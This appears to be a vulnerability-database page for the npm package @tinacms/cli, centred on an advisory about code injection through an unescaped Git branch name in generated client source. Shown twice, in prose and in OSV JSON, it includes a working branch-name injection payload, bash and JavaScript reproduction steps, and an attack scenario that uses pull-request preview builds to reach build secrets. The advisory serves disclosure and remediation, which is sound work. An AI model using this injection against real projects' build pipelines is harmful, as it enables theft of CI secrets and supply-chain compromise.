Vulnerabilities in pkg:npm/@tinacms/cli

PACKAGE
Advisory Identifier: GHSA-pwhx-cvv3-qj5c
Advisory Summary

CVE-2026-108259 is a HIGH (CVSS 8.2) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Tina libraries in the npm ecosystem. The issue involves code injection via unescaped git branch name in generated client source. Remediation is available by upgrading affected packages to version 3.0.0.

9 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@tinacms/cli

9 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@tinacms/cli. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-pwhx-cvv3-qj5c CVE-2026-108259 HIGH Tina: Code injection via unescaped Git branch name in generated client source
GHSA-rgr9-r7mj-mf6x CVE-2026-63123 MODERATE Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root
GHSA-4936-9hrh-qqpw CVE-2026-54074 HIGH @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
GHSA-m48g-4wr2-j2h6 CVE-2026-29066 MODERATE TinaCMS CLI has Arbitrary File Read via Disabled Vite Filesystem Restriction
GHSA-2f24-mg4x-534q CVE-2026-28793 HIGH TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete
GHSA-8pw3-9m7f-q734 CVE-2026-28792 CRITICAL TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS
GHSA-529f-9qwm-9628 CVE-2025-68278 HIGH tinacms is vulnerable to arbitrary code execution
GHSA-4qrm-9h4r-v2fx CVE-2024-45391 HIGH Tina search token leak via lock file in TinaCMS
GHSA-pc2q-jcxq-rjrr CVE-2023-25164 HIGH Sensitive Information leak via Script File in TinaCMS

CVE-2026-108259 at a Glance

CVE Identifier CVE-2026-108259
GHSA Identifier GHSA-pwhx-cvv3-qj5c
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Tina
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-108259

To remediate this vulnerability, upgrade all affected Tina dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@tinacms/cli fixed: 3.0.0
npm install @tinacms/cli@3.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @tinacms/cli

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-108259, inspect your project dependencies using npm:

npm ls @tinacms/cli

Analyze the terminal output to locate any version of Tina in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.0), your application is affected.

Note: The npm ls @tinacms/cli command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Tina, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `@tinacms/cli` inserts the raw Git branch value into the generated `client.ts` source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module. ### Affected component - **Source (branch read):** `packages/@tinacms/cli/src/cmds/init/templates/config.ts` lines 155–172 — reads `VERCEL_GIT_COMMIT_REF`, `GITHUB_BRANCH`, or `HEAD` into `config.branch` - **Transform (URL build):** `packages/@tinacms/cli/src/next/codegen/index.ts` lines 219–253 — `_createApiUrl()` concatenates the raw branch into the API URL with no `encodeURIComponent` - **Sink (template):** `packages/@tinacms/cli/src/next/codegen/index.ts` lines 363–381 — `genClient()` interpolates the URL into `url: '${apiURL}'` - **Sibling sink:** `packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts` line 55 — `url: "${apiURL}"` (same pattern, double quotes) ### Root cause The codegen template at `index.ts:376` uses: ```ts url: '${apiURL}' ``` where `apiURL` contains the raw branch name. No `JSON.stringify`, `encodeURIComponent`, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection. ### Payload The following is a valid Git branch name (`git check-ref-format` accepts it): ``` x'+(globalThis.__TINA_PROBE='hit')+' ``` ### Generated source (sink) When codegen runs with this branch, the generated `client.ts` contains: ```ts export const client = createClient({ url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'', token: '<token>', queries, }); ``` The `'` in the branch name closes the URL string. `+(globalThis.__TINA_PROBE='hit')+` is parsed as a JavaScript expression. The trailing `+'` reopens a string to keep the syntax valid. ### Steps to reproduce **Prerequisites:** Node.js, Git, npm ```bash mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro git init && git commit --allow-empty -m "init" git branch "x'+(globalThis.__TINA_PROBE='hit')+'" npm init -y && npm install esbuild ``` Create `repro.mjs`: ```js import { transform } from 'esbuild'; import vm from 'vm'; // Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch const branch = "x'+(globalThis.__TINA_PROBE='hit')+'"; // _createApiUrl() logic from index.ts:252 const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`; // genClient() template from index.ts:376 const generated = ` import { createClient } from "tinacms/dist/client"; export const client = createClient({ url: '${apiURL}', token: 'xxx' }); `; console.log("Generated source:\n", generated); // Compile (same as consumer build) const compiled = await transform(generated, { loader: 'ts', format: 'cjs' }); // Execute in sandboxed VM const sandbox = { globalThis: {}, module: { exports: {} }, exports: {}, require: () => ({ createClient: (o) => o }), }; vm.createContext(sandbox); vm.runInContext(compiled.code, sandbox); console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE); // Output: __TINA_PROBE = hit ``` Run: `node repro.mjs` **Result:** `globalThis.__TINA_PROBE` is set to `'hit'`, confirming the injected expression executed during module evaluation. **Negative control:** Repeating with `branch = "feature/safe-branch"` does not trigger injection. ### Impact The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment: - **Build environment variables** are accessible (`process.env`), which may include `NPM_TOKEN`, `VERCEL_TOKEN`, cloud provider secrets, and API keys - **Build artifacts** can be modified, enabling supply-chain compromise of the deployed output - **Network access** is available to exfiltrate data **Attack scenario:** An attacker opens a pull request to any open-source project that uses TinaCMS with preview deployments enabled (Vercel auto-deploys every PR branch). The attacker's branch name contains the payload. The preview build runs Tina codegen, generates the injected `client.ts`, and the attacker's code executes during the build. **Preconditions:** 1. Attacker can create a branch or PR that triggers a consumer build 2. Consumer uses TinaCMS with the scaffolded branch config (reading from `VERCEL_GIT_COMMIT_REF` or equivalent) 3. Tina SDK codegen is enabled (default) ### Severity rationale **High** — build-time arbitrary code execution via a controlled Git ref. Critical was not claimed because no real secret exfiltration or release artifact tampering was demonstrated in this proof; only a benign marker was used. ### Suggested fix 1. Use `JSON.stringify(value)` to safely serialize any runtime value interpolated into generated source templates 2. Apply `encodeURIComponent()` to the branch value before constructing the API URL path segment 3. Apply the same treatment to `apiURL`, `token`, `errorPolicy`, `cacheDir`, and the sibling `AddGeneratedClientFunc` template in `plugin.ts` 4. Consider moving runtime values out of source templates entirely — pass them through a JSON config file that the generated client reads at runtime ### Related advisory [GHSA-4936-9hrh-qqpw](https://github.com/advisories/GHSA-4936-9hrh-qqpw) — TinaCMS Forestry migration generated-source RCE. Different source (Forestry YAML labels), different parser (`__TINA_INTERNAL__` unquoting helper), and different sink (`tina/templates.ts`). This report is not a duplicate.

CVE-2026-108259 Affected Tina Versions

1 component(s)
Fixed Versions:
3.0.0
Product / Package Ecosystem Affected Versions Fixed Version
@tinacms/cli
npm
< 3.0.0
3.0.0

References

Frequently Asked Questions

What is CVE-2026-108259?
CVE-2026-108259 is a security vulnerability in Tina involving Code injection via unescaped Git branch name in generated client source under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Tina versions are affected?
Affected versions include releases prior to 3.0.0 across affected packages: @tinacms/cli.
What version fixes CVE-2026-108259?
Upgrading to 3.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @tinacms/cli affected?
Yes, @tinacms/cli is affected in releases prior to 3.0.0. Upgrade your dependency to 3.0.0 or later.
What is the CVSS score of CVE-2026-108259?
CVE-2026-108259 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-108259?
CVE-2026-108259 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-108259?
Run the dependency tree command: 'npm ls @tinacms/cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pwhx-cvv3-qj5c",
  "modified" : "2026-10-09T20:56:52Z",
  "published" : "2026-10-09T20:56:52Z",
  "aliases" : [ "CVE-2026-108259" ],
  "summary" : "Tina: Code injection via unescaped Git branch name in generated client source",
  "details" : "### Summary\n\n`@tinacms/cli` inserts the raw Git branch value into the generated `client.ts` source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.\n\n### Affected component\n\n- **Source (branch read):** `packages/@tinacms/cli/src/cmds/init/templates/config.ts` lines 155–172 — reads `VERCEL_GIT_COMMIT_REF`, `GITHUB_BRANCH`, or `HEAD` into `config.branch`\n- **Transform (URL build):** `packages/@tinacms/cli/src/next/codegen/index.ts` lines 219–253 — `_createApiUrl()` concatenates the raw branch into the API URL with no `encodeURIComponent`\n- **Sink (template):** `packages/@tinacms/cli/src/next/codegen/index.ts` lines 363–381 — `genClient()` interpolates the URL into `url: '${apiURL}'`\n- **Sibling sink:** `packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts` line 55 — `url: \"${apiURL}\"` (same pattern, double quotes)\n\n### Root cause\n\nThe codegen template at `index.ts:376` uses:\n\n```ts\nurl: '${apiURL}'\n```\n\nwhere `apiURL` contains the raw branch name. No `JSON.stringify`, `encodeURIComponent`, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.\n\n### Payload\n\nThe following is a valid Git branch name (`git check-ref-format` accepts it):\n\n```\nx'+(globalThis.__TINA_PROBE='hit')+'\n```\n\n### Generated source (sink)\n\nWhen codegen runs with this branch, the generated `client.ts` contains:\n\n```ts\nexport const client = createClient({\n  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',\n  token: '<token>',\n  queries,\n});\n```\n\nThe `'` in the branch name closes the URL string. `+(globalThis.__TINA_PROBE='hit')+` is parsed as a JavaScript expression. The trailing `+'` reopens a string to keep the syntax valid.\n\n### Steps to reproduce\n\n**Prerequisites:** Node.js, Git, npm\n\n```bash\nmkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro\ngit init && git commit --allow-empty -m \"init\"\ngit branch \"x'+(globalThis.__TINA_PROBE='hit')+'\"\nnpm init -y && npm install esbuild\n```\n\nCreate `repro.mjs`:\n\n```js\nimport { transform } from 'esbuild';\nimport vm from 'vm';\n\n// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch\nconst branch = \"x'+(globalThis.__TINA_PROBE='hit')+'\";\n\n// _createApiUrl() logic from index.ts:252\nconst apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;\n\n// genClient() template from index.ts:376\nconst generated = `\nimport { createClient } from \"tinacms/dist/client\";\nexport const client = createClient({ url: '${apiURL}', token: 'xxx' });\n`;\n\nconsole.log(\"Generated source:\\n\", generated);\n\n// Compile (same as consumer build)\nconst compiled = await transform(generated, { loader: 'ts', format: 'cjs' });\n\n// Execute in sandboxed VM\nconst sandbox = {\n  globalThis: {},\n  module: { exports: {} },\n  exports: {},\n  require: () => ({ createClient: (o) => o }),\n};\nvm.createContext(sandbox);\nvm.runInContext(compiled.code, sandbox);\n\nconsole.log(\"__TINA_PROBE =\", sandbox.globalThis.__TINA_PROBE);\n// Output: __TINA_PROBE = hit\n```\n\nRun: `node repro.mjs`\n\n**Result:** `globalThis.__TINA_PROBE` is set to `'hit'`, confirming the injected expression executed during module evaluation.\n\n**Negative control:** Repeating with `branch = \"feature/safe-branch\"` does not trigger injection.\n\n### Impact\n\nThe injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:\n\n- **Build environment variables** are accessible (`process.env`), which may include `NPM_TOKEN`, `VERCEL_TOKEN`, cloud provider secrets, and API keys\n- **Build artifacts** can be modified, enabling supply-chain compromise of the deployed output\n- **Network access** is available to exfiltrate data\n\n**Attack scenario:** An attacker opens a pull request to any open-source project that uses TinaCMS with preview deployments enabled (Vercel auto-deploys every PR branch). The attacker's branch name contains the payload. The preview build runs Tina codegen, generates the injected `client.ts`, and the attacker's code executes during the build.\n\n**Preconditions:**\n1. Attacker can create a branch or PR that triggers a consumer build\n2. Consumer uses TinaCMS with the scaffolded branch config (reading from `VERCEL_GIT_COMMIT_REF` or equivalent)\n3. Tina SDK codegen is enabled (default)\n\n### Severity rationale\n\n**High** — build-time arbitrary code execution via a controlled Git ref. Critical was not claimed because no real secret exfiltration or release artifact tampering was demonstrated in this proof; only a benign marker was used.\n\n### Suggested fix\n\n1. Use `JSON.stringify(value)` to safely serialize any runtime value interpolated into generated source templates\n2. Apply `encodeURIComponent()` to the branch value before constructing the API URL path segment\n3. Apply the same treatment to `apiURL`, `token`, `errorPolicy`, `cacheDir`, and the sibling `AddGeneratedClientFunc` template in `plugin.ts`\n4. Consider moving runtime values out of source templates entirely — pass them through a JSON config file that the generated client reads at runtime\n\n### Related advisory\n\n[GHSA-4936-9hrh-qqpw](https://github.com/advisories/GHSA-4936-9hrh-qqpw) — TinaCMS Forestry migration generated-source RCE. Different source (Forestry YAML labels), different parser (`__TINA_INTERNAL__` unquoting helper), and different sink (`tina/templates.ts`). This report is not a duplicate.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.7.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/pull/7526"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T20:56:52Z",
    "nvd_published_at" : null
  }
}